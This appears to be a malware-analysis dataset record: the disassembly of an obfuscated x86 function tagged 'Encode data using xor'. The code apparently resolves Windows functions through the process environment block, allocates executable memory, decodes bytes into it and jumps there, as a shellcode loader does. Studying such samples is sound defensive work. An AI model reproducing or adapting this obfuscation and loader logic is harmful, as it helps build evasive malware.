Function at 0x4351d8
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
add ecx, ebx
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], ecx
mov edx, edi
mov ebx, 0xfffffffc
add esp, ebx
mov eax, 0
xor eax, esp
mov dword [eax], edx
mov ebx, 4
mov edi, 0
xor ebx, edi
sub esp, ebx
mov ecx, 0
xor ecx, esp
mov eax, 0
xor eax, ecx
mov dword [eax], esi
mov eax, 0x67962303
add eax, 0x8f
push eax
mov edi, 0x6a41c3db
xor edi, 0x7232c866
pop esi
xor edi, esi
mov esi, 0x47974ee0
xor esi, 0x2058f86e
push esi
push 0xb564293
mov edx, 0x137cdc2a
pop ecx
xor edx, ecx
pop ebx
xor edx, ebx
xor edx, edi
mov eax, dword fs:[edx]
mov edi, 0xbcb25cf9
add edi, 0x6a
push edi
mov ebx, 0x40048030
mov edx, 0x3492283
xor ebx, edx
pop ecx
xor ebx, ecx
sub eax, ebx
mov ebx, dword [eax]
push 0x4cb5768c
mov edx, 0x300e4b8c
pop edi
xor edx, edi
mov esi, 0x35d31fa9
mov ecx, 0xb697dd5d
xor ecx, esi
xor ecx, edx
sub ebx, ecx
mov edx, dword [ebx]
mov ecx, 0x56246ab8
xor ecx, 0x5dec179c
mov eax, 0x30313e64
mov edi, 0xc406bcb4
xor edi, eax
xor ecx, edi
sub edx, ecx
mov esi, edx
mov eax, 0x41598b8f
xor eax, 0xbea67473
add esp, eax
mov dword [esp], esi
pop esi
push esi
pop edx
mov ecx, edx
mov ebx, ecx
push ebx
pop eax
mov ecx, 0xfffffffc
add esp, ecx
mov dword [esp], eax
push esi
pop ecx
mov edi, 0
xor edi, ecx
sub edi, 0x44
mov edx, dword [edi + 0x44]
xor ecx, ecx
add ecx, edx
dec ecx
mov ebx, dword [ecx + 1]
mov edi, 0x3f5d2d4f
mov eax, 0x3f5d2d63
xor eax, edi
mov ecx, 0x798f9ac5
xor ecx, 0x798f9ac5
xor eax, ecx
add ebx, eax
mov ecx, ebx
add esp, 0xfffffffc
mov dword [esp], ecx
pop edx
sub edx, 0xffffffcc
mov eax, dword [edx - 0x34]
and eax, 0xffff
mov ecx, eax
push 0x8d36bd9b
mov edx, 0x3a89f1e
pop esi
xor edx, esi
xor ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x7161dd7a
and ecx, 0x8e9e2285
or ecx, esi
and ecx, 0x18
and eax, 0xffffffe7
or eax, ecx
mov edx, eax
add esp, 0xfffffffc
mov dword [esp], edx
pop ecx
mov edx, 0x34d04b7f
mov esi, 0x34d04b7f
xor esi, edx
xor esi, ecx
or esi, 0
jne 0x43557f
mov esi, 0x11850269
mov edi, 0x4500486
xor esi, edi
push esi
mov esi, 0x6b4693a0
mov ecx, 0x7e93954b
xor ecx, esi
pop edx
xor ecx, edx
add ebx, ecx
mov ecx, dword [ebx]
push 0x1cc70170
mov esi, 0x1cc70174
pop eax
xor esi, eax
sub esp, esi
xor edx, edx
add edx, esp
mov dword [edx], ecx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], ecx
pop edx
add edx, 0xffffffff
mov eax, dword [edx + 1]
and eax, 0xff
mov ebx, 0x40fbe46f
add ebx, 0x62
push ebx
mov esi, 0x710068d0
xor esi, 0x62d73dae
pop edi
xor esi, edi
xor eax, esi
push 0x5f12a3e0
mov ebx, 0x1265d47e
pop ecx
xor ebx, ecx
xor eax, ebx
mov edi, eax
xor edi, 0xffffffff
and edi, 0x1e5bc65a
and eax, 0xe1a439a5
or eax, edi
xor ebx, ebx
add ebx, eax
sub ebx, 0
je 0x435446
mov esi, 0x3b827d92
xor esi, 0x3702f79b
push 0x5062fa96
mov ecx, 0x1376ead6
pop ebx
xor ecx, ebx
xor esi, ecx
xor eax, esi
mov edi, 0x2789a3ee
xor edi, 0x4aa7a74c
xor eax, edi
mov ebx, 0x42f8eb0a
xor eax, ebx
xor eax, 0x604275c1
xor esi, esi
add esi, eax
and esi, esi
jne 0x43557e
pop edx
mov esi, 0x5765e9c3
xor esi, 0x5765e9c3
mov edi, 0x3d2b626
xor edi, 0x3d2b620
xor esi, edi
add edx, esi
mov ebx, 0x6c133fff
mov eax, 0x6c133fff
xor eax, ebx
xor eax, edx
mov ebx, 0xfffffffc
add esp, ebx
mov edi, esp
mov ecx, edi
mov dword [ecx], eax
push 0x667f4b30
mov esi, 0x667f4b30
pop edi
xor esi, edi
xor esi, edx
mov edi, 0x33
sub esi, edi
mov edi, 0xffffffff
add esi, edi
mov ebx, dword [esi + 0x34]
and ebx, 0xff
mov ecx, 0x50074e72
mov edi, 0x61f38abb
xor edi, ecx
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x4f60c74e
and edi, 0xb09f38b1
or edi, ecx
xor ebx, edi
mov ecx, 0x4c6615c
mov esi, 0x7a526295
xor esi, ecx
xor ebx, esi
xor eax, eax
add eax, ebx
or eax, eax
je 0x43552d
mov ecx, 0x21ce1180
mov eax, 0x12018e08
xor ecx, eax
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x2313c7c9
and ecx, 0xdcec3836
or ecx, esi
xor ebx, ecx
xor edx, edx
add edx, ebx
mov eax, 0xffffffff
xor edx, eax
and edx, 0x10dc5861
and ebx, 0xef23a79e
or ebx, edx
xor esi, esi
add esi, ebx
and esi, 0xffffffff
jne 0x43557e
pop eax
mov edx, 4
mov esi, 2
xor edx, esi
add eax, edx
xor ecx, ecx
add ecx, eax
sub ecx, 0x20
mov ebx, dword [ecx + 0x20]
push 0x46fb496
mov eax, 0x46fb4a5
pop edi
xor eax, edi
mov esi, 0x12131593
mov edx, 0x12211593
xor edx, esi
xor eax, edx
xor ebx, eax
mov ecx, 0
xor ecx, ebx
mov edx, ecx
xor edi, edi
add edi, edx
add edi, 0
je 0x4355a6
jmp 0x43557f
pop edi
pop ebx
mov edx, ebx
add esp, 0xfffffffc
mov dword [esp], edx
pop ecx
sub ecx, 0xfffffffa
mov esi, dword [ecx - 6]
push esi
pop eax
mov ebx, eax
mov edi, ebx
push edi
pop edx
mov ecx, 4
sub esp, ecx
mov dword [esp], edx
jmp 0x4352bb
pop ecx
mov edx, 0x6ce606bf
mov ebx, 0x6ce606bf
xor ebx, edx
xor ebx, ecx
push 0x24602b3c
mov edx, 0x24602b60
pop esi
xor edx, esi
sub ebx, edx
push 0xe6b08f64
mov edx, 0x194f709b
pop esi
xor edx, esi
add ebx, edx
mov eax, dword [ebx + 0x5d]
mov ecx, 0x7394d285
mov ebx, 0x7394d285
xor ebx, ecx
xor ebx, eax
mov ecx, 0x63a2eb43
mov edx, 0x9c5d14a0
xor ecx, edx
add ebx, ecx
push 0x1cf8fab5
mov edx, 0x1cf8fab4
pop ecx
xor edx, ecx
sub ebx, edx
mov edi, dword [ebx + 0x1e]
mov eax, 0x1d9442f6
xor eax, 0x24799e09
mov ebx, 0x2203
mov ecx, 0xc6120114
xor ebx, ecx
xor ebx, eax
sub edi, ebx
mov eax, dword [edi]
mov edx, 0x68f31168
mov edi, 0x970cee94
xor edx, edi
add esp, edx
mov ecx, esp
push ecx
pop esi
mov dword [esi], eax
mov edx, 0x3eb204a2
xor edx, 0x623eaf3d
mov ecx, 0x446f2ded
xor ecx, 0x18e38672
xor ecx, edx
xor ecx, eax
push 0x2585a1e
mov edi, 0x1683f2dc
pop eax
xor edi, eax
push edi
push 0x1d1d4f06
mov edx, 0x9c6e7f8
pop edi
xor edx, edi
pop esi
xor edx, esi
add ecx, edx
push 0xc71553
mov eax, 0xc71553
pop edx
xor eax, edx
xor eax, ecx
mov edx, 0
mov edi, 1
xor edx, edi
sub eax, edx
mov esi, dword [eax + 1]
mov eax, esp
xor ecx, ecx
add ecx, eax
mov eax, 0x11a2677c
xor eax, 0x11a26731
add ecx, eax
push 0x86654db3
mov ebx, 0x799ab24c
pop eax
xor ebx, eax
add ecx, ebx
mov edi, dword [ecx - 0x4c]
add esi, edi
mov ebx, 0x30235e54
xor ebx, 0x71a56344
push ebx
mov edx, 0x6f8c2c42
xor edx, 0x2e0a112a
pop ecx
xor edx, ecx
add esi, edx
mov edx, esi
mov ecx, 1
sub edx, ecx
mov esi, dword [edx + 1]
xor eax, eax
add eax, esp
sub eax, 0x5b
mov ebx, dword [eax + 0x5b]
add esi, ebx
mov eax, 0x379deff2
mov edi, 0x5acb622c
xor edi, eax
mov ecx, 0x6d568dfe
xor edi, ecx
add esi, edi
mov eax, 0x9200402
mov edi, 0x84c060
xor eax, edi
push eax
mov edi, 0x4979f874
mov edx, 0xe410eac
xor edx, edi
pop ecx
xor edx, ecx
mov ecx, 0x37820a29
mov edi, 0xc0180440
xor ecx, edi
xor edx, ecx
mov edi, edx
xor edi, 0xffffffff
and edi, 0x46f9c32f
and edx, 0xb9063cd0
or edx, edi
add edx, esi
mov ecx, edx
add esp, 0xfffffffc
mov dword [esp], ecx
pop ebx
sub ebx, 0x3d
mov edx, dword [ebx + 0x3d]
mov ecx, dword [esp]
add edx, ecx
push edx
pop edi
mov ecx, 0
xor ecx, edi
mov eax, 0xfffffffc
add esp, eax
mov edi, 0
xor edi, esp
mov dword [edi], ecx
mov edi, 0x9000420
mov eax, 0x200911
xor edi, eax
push 0x727b0866
mov edx, 0x34789866
pop ecx
xor edx, ecx
xor edi, edx
push 0x108b0f8b
mov eax, 0x5fa892be
pop ebx
xor eax, ebx
xor edi, eax
add edi, esi
push edi
pop ecx
mov eax, 0
xor eax, ecx
sub eax, 0x2e
mov edi, dword [eax + 0x2e]
mov ecx, dword [esp + 4]
add edi, ecx
xor eax, eax
add eax, edi
mov ebx, 4
sub esp, ebx
mov dword [esp], eax
push esi
pop edi
mov eax, edi
mov ebx, eax
mov ecx, 0x5892ce0b
mov edi, 0x5892ce19
xor edi, ecx
sub ebx, edi
mov eax, 0xffffffff
add ebx, eax
mov esi, dword [ebx + 0x13]
mov edi, dword [esp + 8]
add esi, edi
mov edi, esi
push edi
pop eax
mov edi, 0x634f43cc
xor edi, 0x9cb0bc1f
add eax, edi
add eax, 0xffffffff
mov ecx, dword [eax + 0x2e]
mov edi, dword [esp + 8]
add ecx, edi
mov ebx, 0x3a13d04f
xor ebx, 0x3a13d04a
add ecx, ebx
mov edi, 0x2b398dec
xor edi, 0x2b398dec
xor edi, ecx
sub edi, 0xffffffcf
mov ecx, dword [edi - 0x31]
mov eax, 0x1740a070
mov edx, 0x8221901
xor eax, edx
mov edx, 0x550bca1d
mov ebx, 0x21e3188a
xor ebx, edx
xor ebx, eax
xor ecx, ebx
mov edx, 0x516eddd6
xor edx, 0x5ea5d55f
xor ecx, edx
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], ecx
pop eax
mov edi, 0
mov ebx, 0
xor edi, ebx
xor edi, eax
and edi, edi
je 0x4358b4
mov edx, 0x39f30f62
xor edx, 0x642f8528
mov ecx, 0x214180
mov edi, 0xa2023436
xor ecx, edi
xor ecx, edx
sub esi, ecx
pop edx
mov edi, 0
mov ecx, 0
xor edi, ecx
mov eax, 0x5d6afb1f
xor eax, 0x5d6afb1d
xor edi, eax
add edx, edi
mov ebx, 0x31eda4c5
xor ebx, 0xce125b39
add esp, ebx
xor eax, eax
add eax, esp
mov dword [eax], edx
jmp 0x4357e1
pop ecx
mov edx, ecx
mov eax, 0x7b7cf117
xor eax, 0x84830ee8
add edx, eax
mov ecx, dword [edx + 1]
and ecx, 0xffff
add ecx, ecx
mov ebx, ecx
add esp, 0xfffffffc
mov dword [esp], ebx
pop eax
xor edx, edx
add edx, eax
add ecx, edx
pop edx
add edx, ecx
mov ebx, edx
mov edi, ebx
mov esi, edi
mov ecx, 0x3a9455d6
mov edi, 0xc56baa29
xor edi, ecx
add esi, edi
mov edx, dword [esi + 1]
pop ebx
add edx, ebx
mov eax, edx
push eax
pop ecx
mov esi, 0x51cd72d4
mov eax, 0xae328d28
xor esi, eax
add esp, esi
mov dword [esp], ecx
mov edi, 0x3e101d26
xor edi, 0xcb528026
push edi
mov edi, 0x576d4619
xor edi, 0x16143478
push edi
mov esi, 0x726268f7
add esi, 0x55
push esi
push 0x108df401
mov eax, 0x74ec9b4d
pop ecx
xor eax, ecx
push eax
mov edi, esp
add esp, 0xfffffffc
mov dword [esp], edi
pop esi
mov edi, 0
xor edi, esi
mov eax, edi
add esp, 0xfffffffc
mov dword [esp], eax
mov ecx, ebx
mov eax, ecx
mov edi, eax
mov esi, edi
add esp, 0xfffffffc
mov dword [esp], esi
call edx
push 0x3f2a1226
mov edi, 0x74c7dcef
pop ecx
xor edi, ecx
mov ebx, 0x10be5572
xor ebx, 0xa4ac644b
xor ebx, edi
sub esp, ebx
mov edi, 4
sub esp, edi
mov edi, 0
xor edi, esp
mov ebx, edi
mov esi, ebx
mov dword [esi], eax
call fcn.00435d87
push 0x362978fb
mov esi, 0x611b5b33
pop ecx
xor esi, ecx
push 0xe9257887
mov edx, 0x41e8a4b1
pop edi
xor edx, edi
xor esi, edx
sub ebx, esi
mov esi, ebx
push esi
pop edx
push 0x3ad37d9f
mov esi, 0x3ad37d9b
pop ecx
xor esi, ecx
sub esp, esi
mov dword [esp], edx
mov ecx, 0x7919fe98
add ecx, 0x68
push ecx
push 0x4035d376
mov ecx, 0x235abf1a
pop esi
xor ecx, esi
push ecx
mov edi, 0x40482130
mov ebx, 0x1244045
xor edi, ebx
push edi
push 0x7c450d20
mov edx, 0x8376476
pop edi
xor edx, edi
push edx
push 0x983edd10
mov ebx, 0x116ef410
pop ecx
xor ebx, ecx
push ebx
mov ebx, 0x77f6181d
xor ebx, 0x45c57478
push ebx
push 0x4f0708c0
mov ebx, 0x21756d8b
pop edi
xor ebx, edi
push ebx
mov ebx, dword [esp + 0x20]
mov edx, esp
push edx
pop ecx
mov edx, 0x754080ed
xor edx, 0x754080e9
sub esp, edx
mov dword [esp], ecx
call ebx
push 0x481dc8c7
mov ebx, 0x69256644
pop edi
xor ebx, edi
mov ecx, 0xdec75177
xor ebx, ecx
sub esp, ebx
mov ecx, esp
push ecx
pop ebx
mov edx, 0x363eb008
mov ecx, 0xc9c14ff4
xor edx, ecx
add esp, edx
mov dword [esp], ebx
mov ebx, 0
xor ebx, eax
mov edi, 0
xor edi, ebx
mov ebx, edi
mov ecx, ebx
mov edx, 0xfffffffc
add esp, edx
mov dword [esp], ecx
mov edx, dword [esp + 0x20]
call edx
mov ecx, 0x1337130
mov edi, 0x40048084
xor ecx, edi
push 0x8826b3b9
mov ebx, 0x36eebdfd
pop edx
xor ebx, edx
xor ebx, ecx
sub esp, ebx
mov ebx, 5
add ebx, 0x3b
push ebx
mov edi, 0
mov ecx, 0x1000
xor edi, ecx
push edi
push 0x424b44e6
mov edi, 0x424ab020
pop ebx
xor edi, ebx
push edi
mov edi, 0
mov ebx, 0
xor edi, ebx
push edi
call eax
pop esi
mov edx, 0x2947e871
mov ebx, 0x4857e012
xor ebx, edx
mov edi, 0x61100863
xor ebx, edi
xor ebx, eax
push 0xe9ce92a7
mov ecx, 0x16316d5b
pop edx
xor ecx, edx
add esp, ecx
mov edx, esp
push edx
pop edi
mov dword [edi], ebx
xor ecx, ecx
add ecx, esi
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], ecx
mov eax, 0x7dc4788f
mov ecx, 0xd7075ee
xor ecx, eax
mov edx, 0xee5671bc
xor ecx, edx
xor ecx, 0x611d83dd
sub esi, ecx
mov eax, 0x499d6174
xor eax, 0x499c95c8
push eax
mov dl, byte [esi]
mov byte [ebx], dl
mov eax, 0xc66b16ae
add eax, 5
push eax
push 0x7f410319
mov edi, 0x46d5ea55
pop eax
xor edi, eax
pop edx
xor edi, edx
sub esi, edi
mov edi, 0x4706ba51
mov edx, 0x4706ba50
xor edx, edi
add ebx, edx
pop ecx
mov eax, 0x70504c47
add eax, 0x3c
push eax
mov eax, 0x5b8e953b
mov edx, 0x2bded9b9
xor edx, eax
pop edi
xor edx, edi
sub ecx, edx
mov eax, 4
mov edx, 0
xor eax, edx
sub esp, eax
mov eax, 0x6040dd45
mov edi, 0x6040dd45
xor edi, eax
xor edi, esp
mov dword [edi], ecx
xor edi, edi
add edi, ecx
and edi, ecx
jne 0x435b47
pop ecx
push 0x78f3d9bb
mov ecx, 0x5f24d8f2
pop edi
xor ecx, edi
mov edi, 0x55b4bdf4
xor ecx, edi
xor ecx, 0x726208b5
push 0x63fecc9b
mov edx, 0x710ad34e
pop edi
xor edx, edi
mov ebx, edx
xor ebx, 0xffffffff
and ebx, 0x12f45f61
and edx, 0xed0ba09e
or edx, ebx
xor ecx, edx
pop ebx
pop esi
mov eax, 0x3b764f48
xor eax, 0x163d177d
push 0x79d4343d
mov edi, 0x549e98b3
pop edx
xor edi, edx
xor edi, eax
add esi, edi
mov eax, 0x5b8c325c
mov edx, 0xa473cda0
xor eax, edx
add esp, eax
mov eax, esp
mov edx, eax
mov eax, edx
mov edi, eax
mov dword [edi], ecx
xor edx, edx
add edx, ebx
mov eax, 0x780b19b4
mov edi, 0x87f4e648
xor eax, edi
add esp, eax
mov dword [esp], edx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], esi
pop edi
mov eax, 0xfffffffc
add esp, eax
xor edx, edx
add edx, esp
mov dword [edx], edi
xor ecx, ecx
mov cl, byte [esi]
add ebx, ecx
mov cl, byte [ebx]
pop esi
pop ebx
mov byte [esi], cl
mov eax, 0x4014418d
mov edx, 0x11208002
xor eax, edx
mov edx, 0x3ff87e35
mov edi, 0x91334045
xor edi, edx
xor edi, eax
add esi, edi
pop ecx
mov eax, 0x5d9c4845
add eax, 0xbb
push eax
mov eax, 0x363a2a28
mov edx, 0x6ba66329
xor edx, eax
pop edi
xor edx, edi
sub ecx, edx
mov eax, ecx
sub eax, 0
jne 0x435c1b
mov ecx, 0xd61a
mov edi, 0x29e2840
xor ecx, edi
mov edx, 0x31f3c0d6
xor ecx, edx
xor ecx, 0x336d3e8d
add esi, ecx
mov eax, 4
sub esp, eax
xor edi, edi
add edi, esp
mov dword [edi], esi
pop eax
call eax
mov eax, 0x10166118
mov ecx, 0x9e10a62
xor eax, ecx
mov ecx, 0x6af56f4d
xor eax, ecx
push 0x20b8494a
mov ecx, 0x45a1301
pop edx
xor ecx, edx
xor eax, ecx
pop esi
mov eax, 0x2e49a929
add eax, 0x9b
push eax
mov eax, 0x370a7c95
mov edx, 0x32d1b865
xor edx, eax
pop ecx
xor edx, ecx
pop edi
mov edx, 0xe98e627
mov ecx, 0x12f0fc45
xor ecx, edx
mov eax, 0x4d5fc4dd
xor ecx, eax
xor ecx, 0x2e6093f5
push 0x61bf6250
mov edx, 0x49702062
pop eax
xor edx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x2be547e3
and ecx, 0xd41ab81c
or ecx, eax
pop ebx
ret